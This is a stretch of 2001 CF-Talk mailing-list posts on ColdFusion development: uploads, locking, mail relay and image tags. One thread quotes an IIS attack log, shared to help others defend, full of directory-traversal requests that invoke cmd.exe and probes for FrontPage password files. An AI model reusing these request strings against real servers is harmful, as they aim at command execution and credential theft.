CFX_IMAGE original?
I just downloaded 2 cfx tags named: cfx_image. the first one was downloaded from allaire dev exchange - by gafware. the second one was downloaded from intrafoundation - by jukka. which one is better? I need to put this cfx into extensive use. any help would be appriciated. Michael. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: How do I open an IE window into fullscreen channel mode?
Hi Spadea. Welcome to the list. Try this in the head section. SCRIPT LANGUAGE=JavaScript !-- BrowserName = navigator.appName; BrowserVersion = parseInt(navigator.appVersion); if (BrowserName == Netscape) { self.moveTo(0,0) self.resizeTo((screen.availWidth-8),(screen.availHeight-45)) } else { self.moveTo(0,0) self.resizeTo((screen.availWidth),(screen.availHeight)) } //-- /SCRIPT Cheers, Sebastian on 5/8/01 9:04 PM, Spadea Ho at [EMAIL PROTECTED] wrote: Hi guys, new to the list here. Sorry to ask this question here, but I really need to find out a way to launch an IE window into full screen channel mode (the mode when u manually hit F11 to make the browser fullscreen) from a desktop shortcut. I have to do this for some net kiosk at a cafe. Does anyone know of any javascript that does this? I have been searching thru' the major developer sites with no results. Can anyone give me a hand in this? Thanks a million, Spadea ho. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: Log files of a web attack.
I used Netscape FastTrack and/or Enterprise for the longest time on Win32. Finally, when it too bloated and I got frustated at its error-handling, I switched to Apache which come around to great Win32 version... IIS - Never used it, never will. I am getting more and more annoyed at Microsoft's poor excuse for a web server every day though. jon - Original Message - From: [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Tuesday, May 08, 2001 9:52 PM Subject: OT: Log files of a web attack. Hi, I thought the group would like to see the techniques of a recent attack on our web servers. They've been doing this a couple times a day for a week. UUNet (their ISP) is slow in doing stopping them. To secure IIS we've removed all extensions except cfm. We've taken out all the iis folders and files like /mdac, /scripts and /printers. We've secured cfide folder with passwords including locking out the user after a couple failed attempts and log the failures. Lastly, we've remove all permissions from cmd.exe. This has kept them out to date. Any additional ideas are welcomed. Non of this is top secret info, the hackers already know it, but do you and are you protected? HTH, Rick Moon 2001-05-08 12:36:44 209.183.204.251 - myIP 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:36:44 209.183.204.251 - myIP 80 GET /scripts/..Á%pc../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:36:45 209.183.204.251 - myIP 80 GET /scripts/..À%9v../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:36:56 209.183.204.251 - myIP 80 GET /scripts/..À%qf../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:37:00 209.183.204.251 - myIP 80 GET /scripts/..Á%8s../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:37:00 209.183.204.251 - myIP 80 GET /scripts/..Á.../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:37:04 209.183.204.251 - myIP 80 GET /scripts/..o../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:37:08 209.183.204.251 - myIP 80 GET /scripts/..ð??¯../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:37:08 209.183.204.251 - myIP 80 GET /scripts/..ø???¯../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:38:17 209.183.204.251 - myIP 80 GET /msadc/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 01:26:07 200.245.48.155 - myIP GET /scripts..\../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 17:57:58 200.230.112.153 - myIP 80 GET /iisadmpwd/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 17:58:00 200.230.112.153 - myIP 80 GET /msadc/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 17:58:14 200.230.112.153 - myIP 80 GET /cgi-bin/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 17:58:22 200.230.112.153 - myIP 80 GET /samples/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 17:58:29 200.230.112.153 - myIP 80 GET /_vti_cnf/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 17:58:36 200.230.112.153 - myIP 80 GET /_vti_bin/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 17:58:42 200.230.112.153 - myIP 80 GET /adsamples/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-05 02:43:02 200.245.48.132 - myIP 80 HEAD /aaa - 404 - 2001-05-05 02:43:04 200.245.48.132 - myIP 80 HEAD /carbo.dll - 404 - 2001-05-05 02:43:04 200.245.48.132 - myIP 80 HEAD /cgi-win/uploader.exe - 404 - 2001-05-05 02:43:06 200.245.48.132 - myIP 80 HEAD /search97.vts - 404 - 2001-05-05 02:43:08 200.245.48.132 - myIP 80 HEAD /_vti_inf.html - 200 - 2001-05-05 02:43:10 200.245.48.132 - myIP 80 HEAD /_vti_pvt/service.pwd - 404 - 2001-05-05 02:43:12 200.245.48.132 - myIP 80 HEAD /_vti_pvt/users.pwd - 404 - 2001-05-05 02:43:13 200.245.48.132 - myIP 80 HEAD /_vti_pvt/authors.pwd - 404 - 2001-05-05 02:43:17 200.245.48.132 - myIP 80 HEAD /../autoexec.bat - 404 - 2001-05-05 02:43:17 200.245.48.132 - myIP 80 HEAD //config.sys - 404 - 2001-05-05 02:43:20 200.245.48.132 - myIP 80 HEAD /iisadmpwd/achg.htr - 404 - 2001-05-05 02:43:20 200.245.48.132 - myIP 80 HEAD /iisadmpwd/aexp.htr - 404 - 2001-05-05 02:43:21 200.245.48.132 - myIP 80 HEAD /iisadmpwd/aexp2.htr - 404 - 2001-05-05 02:43:21 200.245.48.132 - myIP 80 HEAD /iisadmpwd/aexp2b.htr - 404 - 2001-05-05 02:43:24 200.245.48.132 - myIP 80 HEAD /iisadmpwd/aexp3.htr - 404 - 2001-05-05 02:43:24 200.245.48.132 - myIP 80 HEAD /iisadmpwd/aexp4.htr - 404 - 2001-05-05 02:43:25 200.245.48.132 - myIP 80 HEAD /iisadmpwd/aexp4b.htr - 404 - 2001-05-05 02:43:25 200.245.48.132 - myIP 80 HEAD /iisadmpwd/anot.htr - 404 - 2001-05-05 02:43:27 200.245.48.132 - myIP 80 HEAD /iisadmpwd/anot3.htr - 404 - 2001-05-05 02:43:27 200.245.48.132 - myIP 80 HEAD /cgi-bin/visadmin.exe - 404 - 2001-05-05 02:43:29 200.245.48.132 - myIP 80 HEAD /scripts/no-such-file.pl - 404 - 2001-05-05 02:43:29 200.245.48.132 -
Re: concurrency problem..
I have somewhat of the same issue... In my shopping cart which show live inventory available, stock is check before you put the item in the cart. And then again during a transaction which puts the item in your order. But there is the possibility that someone will have ordered the last widget AFTER the inventory check, but BEFORE the actual decrement of inventory. How does everyone handle this? hi ppl... i have a hotel booking system that lets the users to reserve room thru the web. I retrieve the hotel room capacity to show the current room available... if the capacity is zero.. the page will indicate fully booked. In order to have the most updated info.. i actually retrieve the room capacity again from the database juz before updating... but seems still have slight chance to have multiple submission at microsec difference... i thinking of using CFLOCK to contain the read,update queries.. however.. at the admin module... i have a function that enable the administrator to update the total room capacity... so.. which means i cant use CFLOCK (..from my understanding.. CFLOCK only locks requests from same page...) Any advice?? heard that i can use stored procedure from the DB to lock the table...?? i never use stored procedure b4... so any kind soul can kindly guide me to some examples or website where i can learn?? thanx in advance... han ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: [OT] CF to PHP converter
Interesting..it seems like quite a few folk want to use Allaire's language to port over to other languages.. Tagservlet.com is doing it from CFML to .jsp I believe (same thing CF6 wants to do?)...and now from CFML to PHP..interesting. :) LOL! If this continues, pretty soon everyone will be coding in CFwhat reason would they have to use anything else? ^_^ -Gel -Original Message- From: Peter Janett [mailto:[EMAIL PROTECTED]] During the recent uproar over the now cancelled price increase of CF5, there was talk about automating converting CF to PHP files. There is an open source project that has this goal. It looks to be in it's infancy, but I thought some here might want to see it. http://sourceforge.net/projects/cf2php/ (I'm not a part of this project, but I thought I'd share it with the list.) Thanks, Peter Janett ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: concurrency problem..
A suggestion is to when the user selects the room/item is to mark the record as being taken, and with a date/time. Thus not available for someone else. Then I would run a clean up file to unmark those checked after say 20 minutes or so. Maybe a scheduled task every hour -Original Message- From: Tony Schreiber [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 7:06 AM To: CF-Talk Subject: Re: concurrency problem.. I have somewhat of the same issue... In my shopping cart which show live inventory available, stock is check before you put the item in the cart. And then again during a transaction which puts the item in your order. But there is the possibility that someone will have ordered the last widget AFTER the inventory check, but BEFORE the actual decrement of inventory. How does everyone handle this? hi ppl... i have a hotel booking system that lets the users to reserve room thru the web. I retrieve the hotel room capacity to show the current room available... if the capacity is zero.. the page will indicate fully booked. In order to have the most updated info.. i actually retrieve the room capacity again from the database juz before updating... but seems still have slight chance to have multiple submission at microsec difference... i thinking of using CFLOCK to contain the read,update queries.. however.. at the admin module... i have a function that enable the administrator to update the total room capacity... so.. which means i cant use CFLOCK (..from my understanding.. CFLOCK only locks requests from same page...) Any advice?? heard that i can use stored procedure from the DB to lock the table...?? i never use stored procedure b4... so any kind soul can kindly guide me to some examples or website where i can learn?? thanx in advance... han ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: Uploading a file
I have had many problems with this... I hear people say that it's a memory issue or whatever, I really have a hard time believing this. I have 2 different servers running this and the first server is a dual pent 500 with a gig of ram and I cant upload anything over 50 megs and I get the same message. The second is a Pentium 500 with 512 and I can upload 120 meg file... go figure. I wonder if it's not an issue with speed of writing to disk or something... the dual pent 500 with the gig of ram is on our LAN... the other server is on a remote site and it works... Tom - Original Message - From: Nick Betts [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 2:53 AM Subject: RE: Uploading a file The file is a small Word Document so should not take up too much space at all..any ideas? nb -Original Message- From: David E. Crawford [mailto:[EMAIL PROTECTED]] Sent: 08 May 2001 18:39 To: CF-Talk Subject: Re: Uploading a file How large is the file? How much free diskspace and memory is available on the server? DC - Original Message - From: Nick Betts [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Tuesday, May 08, 2001 12:40 Subject: Uploading a file Hi, I am trying to upload a file on a server using CFFILE. All is well in development, however on live server I get the following error: Error Occurred While Processing Request Error Diagnostic Information Request canceled or ignored by serverServer busy or unable to fulfill request. The server is unable to fulfill your request due to extremely high traffic or an unexpected internal error. Please attempt your request again (if you are repeatedly unsuccessful you should notify the site administrator). (Location Code: 26) The code I use to upload file is: cffile action=UPLOAD nameconflict=OVERWRITE filefield=addfile destination=#application.root#jobdescriptionDocs\ cfset suploadedfile = file.serverfile Is this error simply a server problem or is it to do with CFFILE. Cheers, Nick. -Original Message- From: Foggy, Doreen [mailto:[EMAIL PROTECTED]] Sent: 08 May 2001 17:16 To: CF-Talk Subject: RE: CFFILE I don't think it is a permission problem. I set the permission on the folder to everyone and still received the same error. It may be a network problem. When I upload the file to my hard drive destination path=c:\ It works. Any other path on my server returns the same error. Please advise... -- -- Error Diagnostic Information Error processing CFFILE The directory specified in the DESTINATION attribute of the CFFILE tag (g:\) is not valid. The directory either does not exist or is not accessible by the ColdFusion service. The error occurred while processing an element with a general identifier of (CFFILE), occupying document position (21:1) to (24:33). -Original Message- From: Howie Hamlin [mailto:[EMAIL PROTECTED]] Sent: Tuesday, May 08, 2001 11:48 AM To: CF-Talk Subject: Re: CFFILE If you are using UNC paths then you need to run CF under a user account with rights to the folder on the other server. By default, CF runs under the system account. You can change this in the NT Services applet. HTH, Howie Hamlin - inFusion Project Manager On-Line Data Solutions, Inc. www.CoolFusion.com 631-737-4668 x101 inFusion Mail Server (iMS) - The Intelligent Mail Server - Original Message - From: Foggy, Doreen [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Tuesday, May 08, 2001 11:43 AM Subject: CFFILE Error Diagnostic Information Error processing CFFILE The directory specified in the DESTINATION attribute of the CFFILE tag chh-test\www\lmts_int\cic is not valid. The directory either does not exist or is not accessible by the ColdFusion service. The error occurred while processing an element with a general identifier of (CFFILE), occupying document position I am using the CFFILE tag for the first time and I am running into some problems. Please Help! The directory does exist and I am not sure what accessible by the ColdFuison service means. The directory is located on the web server. * I have two forms * upload.cfm (html form) * uploadfile.cfm (action page) The syntax for both is located below: Upload.cfm titleWebStar: Contracts Online/title /head body background=image/background_blue.gif text=White link=Silver vlink=Yellow alink=White img src=image/file.gif width=1200 height=50 border=0 alt= !--- This document was created with Cold Fusion Studio --- FORM ACTION=uploadfile.cfm ENCTYPE=multipart/form-dataMETHOD=POST table border=0 tr tdFile to upload:/td td input
New Cold Fusion book, O'riely Press
Hello cf-talk, I just saw a not yet available book by Rob Brooks-Bilson on Amazon called Programming Cold Fusion. I generally like what O'Rielly Press puts out. Any one know anything about this book? Any reviews from anywhere yet? Best regards, Jeff Fongemie mailto:[EMAIL PROTECTED] Internet Guns For Hire (603) 356-0768 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
COM CFLOOP error
Hi all :) Im trying to loop thru a object structure with no luck. Im using an object from Serverobjects called AspPop3, and everything works fine, except when i try to loop thru a variant that is returned from the object. The structure i'm trying to output is explained in the documentation from serverobjects: The MessageInfo property returns the header data that is received from a call to GetPopHeaders. After a call to GetPopHeaders, and if there are messages on the server, this property is a variant array of variant arrays that contains information about the messages on the server. Values returned are: intMessageID, strSubject, strDate, strFrom, strSender ,strTo, strReplyTo, intSize, strStatus. The error i get is this one: -- Loop error Error on Invoke for: /nCOM error 0x80020003. Member not found. My code is (something) like this: (And i've tried any combinations in the loop that i can think of, using different collection parameters like #mailer#, #mailer.mesageinfo# etc. cfobject action=create class=POP3svg.Mailer type=COM name=Mailer cfset Mailer.RemoteHost = attributes.server cfset Mailer.UserName = attributes.username cfset Mailer.PassWord = attributes.password cfset Mailer.MailDirectory = attributes.attachmentpath cfset Mailer.GetPopHeaders(1) cfloop collection=#Mailer# item=akey cfoutput #MessageInfo# /cfoutput /cfloop If anyone could help me out with this one, I would be very, very, very happy... regards Per ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Can 2 Applications Share a Client Variiable Database?
Hi Folks, Well, the subject is pretty much my question. We're wondering if two different applications can share the same client variable repository database. Perhaps this is odd question, especially seeing as how we run our own ISP and therefore do not have to pay for each datasource. However, we have several different applications whose tables are interconnected. We'd like to maintain them as separate applications (which can be broken off and resold without the other applications). So, it would be nice if we could point them all at the same database and spare our customers from having to pay for additional datasources. Thanks. Benjamin S. Rogers Web Developer, c4.net Voice: (508) 240-0051 Fax: (508) 240-0057 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: COM CFLOOP error
Hello Per, snip cfloop collection=#Mailer# item=akey cfoutput #MessageInfo# /cfoutput /cfloop /snip when you loop thru a structure or collection the item is your key field so try outputting #akey.messageInfo# -- Best regards, Critter --- Wednesday, May 09, 2001, 8:21:38 S2k, you wrote: PK Hi all :) PK Im trying to loop thru a object structure with no luck. PK Im using an object from Serverobjects called AspPop3, and everything PK works fine, except when i try to loop thru a variant that is returned from PK the object. PK The structure i'm trying to output is explained in the documentation from PK serverobjects: PK The MessageInfo property returns the header data that is received from a PK call PK to GetPopHeaders. After a call to GetPopHeaders, and if there are messages PK on the server, PK this property is a variant array of variant arrays that contains information PK about the messages PK on the server. PK Values returned are: PK intMessageID, strSubject, strDate, strFrom, strSender ,strTo, strReplyTo, PK intSize, strStatus. PK The error i get is this one: PK -- PK Loop error PK Error on Invoke for: /nCOM error 0x80020003. Member not found. PK PK My code is (something) like this: PK (And i've tried any combinations in the loop that i can PK think of, using different collection parameters like #mailer#, PK #mailer.mesageinfo# etc. PK cfobject action=create class=POP3svg.Mailer type=COM name=Mailer PK cfset Mailer.RemoteHost = attributes.server PK cfset Mailer.UserName = attributes.username PK cfset Mailer.PassWord = attributes.password PK cfset Mailer.MailDirectory = attributes.attachmentpath PK cfset Mailer.GetPopHeaders(1) PK cfloop collection=#Mailer# item=akey PK cfoutput PK #MessageInfo# PK /cfoutput PK /cfloop PK If anyone could help me out with this one, I would be very, very, very PK happy... PK regards PK Per PK ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: CFMAIL Errors..whats going on??
It means that your SMTP server is not authorizing you for relaying mail. You need to get the mail server admin to allow relay for your CF server. HTH, Howie Hamlin - inFusion Project Manager On-Line Data Solutions, Inc. www.CoolFusion.com 631-737-4668 x101 inFusion Mail Server (iMS) - The Intelligent Mail Server - Original Message - From: Angél Stewart [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Monday, May 07, 2001 1:44 PM Subject: CFMAIL Errors..whats going on?? Can anyone tell me what the heck is going on with this CF Site??? I can't figure out what this error Not a Gateway is about?? I'm trying to get access to the source code that is actually trying to send these emails out, but before that..have any of you seen this before? Any ideas?? Please CC [EMAIL PROTECTED] There is usually an hour or more lag for me before I get emails from the CFLIST ^_^ -Gel - Error,TID=1048,05/07/01,10:52:01,Failed to send the spooled mail file, C:\CFUSION\MAIL\spool\283D.cfmail. SMTP server replied not local host thecomp.com, not a gateway Moved file to C:\CFUSION\MAIL\undelivr\2840.cfmail. Error,TID=1048,05/07/01,10:52:02,Failed to send the spooled mail file, C:\CFUSION\MAIL\spool\283E.cfmail. SMTP server replied not local host oldwhores.net, not a gateway Moved file to C:\CFUSION\MAIL\undelivr\2842.cfmail. Error,TID=1048,05/07/01,10:57:04,Failed to send the spooled mail file, C:\CFUSION\MAIL\spool\2843.cfmail. SMTP server replied not local host euro-porn.com, not a gateway Moved file to C:\CFUSION\MAIL\undelivr\2844.cfmail. Error,TID=1048,05/07/01,11:03:35,Failed to send the spooled mail file, C:\CFUSION\MAIL\spool\2845.cfmail. SMTP server replied not local host babesunlimited.org, not a gateway Moved file to C:\CFUSION\MAIL\undelivr\2846.cfmail. Error,TID=1048,05/07/01,11:04:07,Failed to send the spooled mail file, C:\CFUSION\MAIL\spool\2847.cfmail. SMTP server replied not local host adultxtasy.com, not a gateway Moved file to C:\CFUSION\MAIL\undelivr\2848.cfmail. Error,TID=1048,05/07/01,11:08:38,Failed to send the spooled mail file, C:\CFUSION\MAIL\spool\2849.cfmail. SMTP server replied not local host gmx.net, not a gateway Moved file to C:\CFUSION\MAIL\undelivr\284C.cfmail. Error,TID=1048,05/07/01,11:11:55,Failed to send the spooled mail file, C:\CFUSION\MAIL\spool\284D.cfmail. SMTP server replied not local host xxxnow.de, not a gateway Moved file to C:\CFUSION\MAIL\undelivr\284E.cfmail. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: Watchguard Firewall II stripping CGI variables?
I'm not sure what version of WG are are using, but either way you should be able to go into the policy manager and set up your own rules for port 80. I would recommend though, to continue using the http proxy if thats what your doing and try to adjust the CF code to conform to the standards that it wants. - Original Message - From: Aidan Whitehall [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 4:18 AM Subject: Watchguard Firewall II stripping CGI variables? A Watchguard Firewall II has just been installed and it looks as though the default setting is to strip out unknown HTTP headers, judging by the information on their website. It appears to remove a raft of CGI variables sent by the browser and the only ones available are the ones ColdFusion provides. Anyone know how to stop this happening? Thanks -- Aidan Whitehall [EMAIL PROTECTED] Netshopperuk Telephone +44 (01744) 648650 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Log files of a web attack.
I used Netscape FastTrack and/or Enterprise for the longest time on Win32. Finally, when it too bloated and I got frustrated at its error-handling, I switched to Apache which come around to great Win32 version... IIS - Never used it, never will. I've encountered serious performance issues with Apache 1.3.x on Win32 under heavy load - it's been basically unusable with CF. On the other hand, on Windows, IIS is a relatively good web server platform. As long as you follow a few simple steps (removing unused ISAPI extensions, application of buffer overflow patches, application of ACLs, etc), it's relatively secure and stable. The only real security flaw with IIS is that it has to run as Local System, due to the way it integrates with NT authentication, so buffer overflow exploits run as root, essentially. Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ voice: (202) 797-5496 fax: (202) 797-5444 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: cffile vars
CFFile.ContentType and CFFile.ContentSubType - are they reliable enough? I allow people to upload gif/jpg to one of my sites, and ONLY jpg/gif but I bet some of them will try to rename a .mp3 file into .gif or something. Can I use this to filter other formats, rather then images? CF isn't going to examine the actual file content - it wouldn't know how! So, if someone renames an .mp3 file with a .jpg extension, for all intents and purposes, it's now a .jpg file, both to the uploading browser and to your server. Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ voice: (202) 797-5496 fax: (202) 797-5444 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: CFX_IMAGE original?
Michael, I've used the one by Jukka -- it's excellent. However, some folks have noted that the docs are a bit hazey. Dain Anderson Caretaker, CF Comet http://www.cfcomet.com/ - Original Message - From: Michael Lugassy [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 8:02 AM Subject: CFX_IMAGE original? I just downloaded 2 cfx tags named: cfx_image. the first one was downloaded from allaire dev exchange - by gafware. the second one was downloaded from intrafoundation - by jukka. which one is better? I need to put this cfx into extensive use. any help would be appriciated. Michael. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: cffile vars
Thanks, I figured it out... I'm using CFX_IMAGE on each file and checking IMG_TYPE/IMG_WIDTH neq it's working absoultly great!! Thanks, Michael Lugassy IT/WEB Specialist Interactive Music Ltd. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Help for using cfftp to access to MVS system
Hi, has anyone use cfftp to access to MVS system? I am able to open the connection and get the currentdirectory, but I am not able to list the directory or send a file to the MVS system. When i try to list the directory, I kept getting 0 file. here is my code cfftp action=OPEN server=MVS system username=xxx password=xxx stoponerror=Yes port=21 connection=mvs cfoutput Did you succeed? #cfftp.succeeded#br cfftp.errorcode:#cfftp.errorcode#br cfftp.errortext:#cfftp.errortext#br /cfoutput ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: [Close window : JavaScript (OT)]
body onunload=window.open() in popup... body onload=window.close() Joseph Eugene [EMAIL PROTECTED] wrote: Hi all, I would like to know, if you guys had any code to 1.Open a new window when the User tries to close his Browser. 2. Close the new window Just opened when the user tried to close his browser. The above really is to Log the User Out and terminate his session. Appretiate any help Thanks Joe ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
syntax error when inserting date
Hi all, My action template is supposed to insert classID, location and date into a table in my database. When creating new records in the form I provide, I want the user to be able to supply a comma delimited list of dates. I think the loop in the action template successfully extracts individual dates from the date list, but there is a syntax error in the insert command. Everything works if I don't try to insert the date, so that must be where the syntax error occurs. Can anybody tell me what my date syntax error is? Thanks in advance! Megan The action template code is shown below CFIF IsDefined(FORM.scheduleID) CFUPDATE DATASOURCE=calkayak TABLENAME=class_schedule CFELSE cfoutput cfset dategroup=form.date cfloop index=x from=1 to=#ListLen(dategroup)# cfset onedate=ListGetAt(dategroup,#x#) cfquery datasource=calkayak insert into class_schedule (classID, location, date) values(#form.classID#, '#form.location#', '#onedate#') /cfquery /cfloop /cfoutput /CFIF Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: CFX_IMAGE original?
I've use Jukka's tag quite a bit and it is good, but I work for a company involved with graphics. Jukka's tag just didn't cut it with us. But don't get me wrong. It is quite sufficient for what we needed. It resizes and composites acceptably. The antialiasing is fair. It could be better. If you don't need anything extremely involved, Jukka's tag is great. He could do a better job of documenting. It took us about 2 weeks to figure out everything we needed. Just to let you know, we are using Jukka's tag, but get complaints daily about the quality of the thumbnails it generates. I'm still waiting on Louis Sellar's CFX for resizing and compositing. As for the other tag, we looked at it and rejected it quickly. Jukka's tag was better by several orders of magnitude. Russel Russel Madere, Jr. Senior Web Developer ICQ: 5446158 http://www.TurboSquid.com Some days you eat the bear; some days the bear eats you. -Original Message- From: Michael Lugassy [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 07:02 To: CF-Talk Subject: CFX_IMAGE original? I just downloaded 2 cfx tags named: cfx_image. the first one was downloaded from allaire dev exchange - by gafware. the second one was downloaded from intrafoundation - by jukka. which one is better? I need to put this cfx into extensive use. any help would be appriciated. Michael. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
cfgrid and onvalidate
Does anyone have an better guide to what the three items passed to the onvalidate funtion are ? The first is a reference to the form itself, from reading CFDOCS, but there doesnt seem to be anything about the other two. All I'm trying to do is validate a few inputs in a cfgrid, so need a way to iterate over al lthe rows, and all the cells in a row. Regards, Thomas Chiverton Intranet Architect and Desktop Analyst 01565 757 909 It's not a job, it's an adventure ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: Problems with forms in MSIE 5 Mac?
You may also want to have a look at this link about Macs and IE5: http://lookclose.com/learnmore/faqs/macieuploads.htm hth, larry -- Larry C. Lyons ColdFusion/Web Developer EBStor.com 8870 Rixlew Lane, Suite 201 Manassas, Virginia 20109-3795 tel: (703) 393-7930 x253 fax: (703) 393-2659 http://www.ebstor.com http://www.pacel.com email: [EMAIL PROTECTED] Chaos, panic, and disorder - my work here is done. -- Kurt Ward wrote: IE on the Mac is terrible about padding with spaces. You may also want to use the Trim() function on any form fields being passed. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: syntax error when inserting date
Date is most likely a reserved word in your database. Try changing the column name to something more descriptive like Start_Date. HTH Brian - Original Message - From: megan sherman [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 9:01 AM Subject: syntax error when inserting date Hi all, My action template is supposed to insert classID, location and date into a table in my database. When creating new records in the form I provide, I want the user to be able to supply a comma delimited list of dates. I think the loop in the action template successfully extracts individual dates from the date list, but there is a syntax error in the insert command. Everything works if I don't try to insert the date, so that must be where the syntax error occurs. Can anybody tell me what my date syntax error is? Thanks in advance! Megan The action template code is shown below CFIF IsDefined(FORM.scheduleID) CFUPDATE DATASOURCE=calkayak TABLENAME=class_schedule CFELSE cfoutput cfset dategroup=form.date cfloop index=x from=1 to=#ListLen(dategroup)# cfset onedate=ListGetAt(dategroup,#x#) cfquery datasource=calkayak insert into class_schedule (classID, location, date) values(#form.classID#, '#form.location#', '#onedate#') /cfquery /cfloop 